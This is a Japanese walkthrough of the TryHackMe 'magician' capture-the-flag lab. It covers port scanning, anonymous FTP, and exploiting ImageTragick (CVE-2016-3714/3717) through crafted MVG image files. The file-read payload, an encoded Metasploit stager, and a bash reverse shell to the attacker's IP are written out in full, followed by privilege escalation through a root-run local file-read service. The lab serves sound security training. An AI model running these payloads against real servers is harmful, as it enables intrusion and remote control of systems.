概要
TryHackMe「magician」のWalkthroughです。
Task1
Q1.user.txt
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- -oN nmap_result 10.10.251.158
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
8080/tcp open http-proxy
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Content-Type: application/json
| Date: Wed, 24 Jul 2024 18:08:51 GMT
| Connection: close
| {"timestamp":"2024-07-24T18:08:52.098+0000","status":404,"error":"Not Found","message":"No message available","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| HTTPOptions:
| HTTP/1.1 404
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Content-Type: application/json
| Date: Wed, 24 Jul 2024 18:08:49 GMT
| Connection: close
| {"timestamp":"2024-07-24T18:08:47.569+0000","status":404,"error":"Not Found","message":"No message available","path":"/"}
| RTSPRequest:
| HTTP/1.1 505
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 465
| Date: Wed, 24 Jul 2024 18:08:51 GMT
| <!doctype html><html lang="en"><head><title>HTTP Status 505
| HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505
| HTTP Version Not Supported</h1></body></html>
| Socks5:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Wed, 24 Jul 2024 18:08:52 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
8081/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: magician
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 2.0.8 or later |
8080 | http-proxy | |
8081 | http | nginx 1.14.0 |
8081
にアクセスするとPNGをJPGに変換するサイトが表示されました。
FTPにanonymous
で接続するとメッセージが表示されました。
$ ftp magician
Connected to magician.
220 THE MAGIC DOOR
Name (magician:kali): anonymous
331 Please specify the password.
Password:
230-Huh? The door just opens after some time? You're quite the patient one, aren't ya, it's a thing called 'delay_successful_login' in /etc/vsftpd.conf ;) Since you're a rookie, this might help you to get started: https://imagetragick.com. You might need to do some little tweaks though...
230 Login successful.
ftp>
vsftp
のdelay_successful_login
が設定されているようです。
また、記載されているアドレスにアクセスするとCVE-2016–3714
の情報が得られました。
サイト内のCVE-2016-3717 - Local file read
を利用してexploit.mvg
をアップロードし、変換されたexploit.jpg
を見ると/etc/passwd
ファイルを読み込めました。
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
リバースシェルを試みます。
下記サイトを参考にMetasploitでペイロードファイルを作成します。
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|perl -e system -e pack -e qq,H1050,,qq,6563686f20657865635c285f5f696d706f72745f5f5c285c277a6c69625c275c292e6465636f6d70726573735c285f5f696d706f72745f5f5c285c276261736536345c275c292e6236346465636f64655c285f5f696d706f72745f5f5c285c27636f646563735c275c292e676574656e636f6465725c285c277574662d385c275c295c285c27654e6f395545314c784441515054652f4972636b47454f37706a30735668447849434b4336303145326d52324c5532546b6d53314b76353347374a346d6547396566506d5935686d35794d4f546f30512b62635a657435334152724a512f524846586b634a6b4237352f4743423474395a77394171354a74555248393178714c304f5a6d6b5250643842506550643763762b32656e32367648316a5343655773425255704a565570476c48586f704b533847707a49566c5339423636455257774b4a686a736b367a525441414d36305a4d6d316553527a74334b6d526b717337776f50776f44376f6176425376694c646e72426836504e394d49414e574b725a70566e74394e6c2f39547a54444d4543697161726851626c70746c444344512f5150534e544b5347704f512f4a4a42742b47586f44332b325873495c3d5c275c295c5b305c5d5c295c295c29207c2065786563202428776869636820707974686f6e207c7c20776869636820707974686f6e33207c7c20776869636820707974686f6e3229202d,'
pop graphic-context
pop graphic-context
しかし、こちらの環境ではリバースシェルを確立できなかったので実行コマンド部分を変更しました。
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
# 変更
image Over 0,0 1,1 '|bash -i >& /dev/tcp/10.6.55.144/1234 0>&1'
pop graphic-context
pop graphic-context
Webサイトにmsf.png
をアップロードし、コンバートボタンを押すと接続を確立できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.163.96] 37446
bash: cannot set terminal process group (943): Inappropriate ioctl for device
bash: no job control in this shell
magician@magician:/tmp/hsperfdata_magician$ whoami
whoami
magician
TTYを設定します。
$ python -c 'import pty; pty.spawn("/bin/bash")'
/home/magician/user.txt
からフラグを入手できます。
THM{simsalabim_hex_hex}
A.THM{simsalabim_hex_hex}
Q2.root.txt
pspy
を実行するとローカルの6666
へ接続しているプロセスを発見しました。
2024/07/24 15:36:55 CMD: UID=0 PID=985 | /usr/bin/python3 /usr/local/bin/gunicorn --bind 127.0.0.1:6666 magiccat:app
6666
ポートのソースコードを取得すると、フォームからfilename
プロパティに入力された内容を送信していると分かりました。
$ curl http://127.0.0.1:6666
<form action="" method="post" class="form" role="form">
<div class="form-group "><label class="control-label" for="filename">Enter filename</label>
<input class="form-control" id="filename" name="filename" type="text" value="">
</div>
<input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit">
</form>
filename
に/root/root.txt
を入力して送信してPOSTリクエストを送信すると文字列を得られました。
$ curl -X POST http://127.0.0.1:6666 -d "filename=/root/root.txt"
<div>
<span>
<pre class="page-header">
GUZ{zntvp_znl_znxr_znal_zra_znq}
</pre>
</span>
</div>
文字列をROT13
でデコードしてフラグを入手できます。
A.****